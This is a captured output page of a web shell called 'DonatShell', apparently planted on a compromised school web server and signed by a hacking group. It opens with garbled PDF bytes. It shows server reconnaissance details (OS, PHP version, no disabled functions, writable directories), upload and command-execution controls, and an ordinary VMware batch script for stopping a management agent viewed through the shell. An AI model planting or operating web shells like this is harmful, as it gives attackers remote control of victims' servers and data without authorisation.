%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/ProgramData/VMware/VMware CAF/pme/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/ProgramData/VMware/VMware CAF/pme/scripts/stop-ma.bat
@echo off

if "%~1" == "help" (
   call :helpMessage %~1
)

set processName=ManagementAgentHost
set serviceName=VMwareCAFManagementAgentHost

for /f "tokens=2 delims=," %%x in ('tasklist /nh /fi "imageName eq %processName%" /fo csv') do set pid=%%x
if "%pid%" == "" (
   echo Process not running - %processName%
   exit /B 1
)

set stopType=%~1
if "%stopType%" == "" (
   echo net stop %serviceName%
   net stop %serviceName%
) else if "%stopType%" == "service" (
   echo net stop %serviceName%
   net stop %serviceName%
) else if "%stopType%" == "process" (
   echo Killing process - %processName%, pid: %pid%
   taskkill /pid %pid% /f
)

goto:eof

:helpMessage
echo *** %0 %1
echo   Stops the Management Agent
echo     stopType: How to stop the Management Agent (service, process) [default: service]
exit /B 0

Anon7 - 2022
AnonSec Team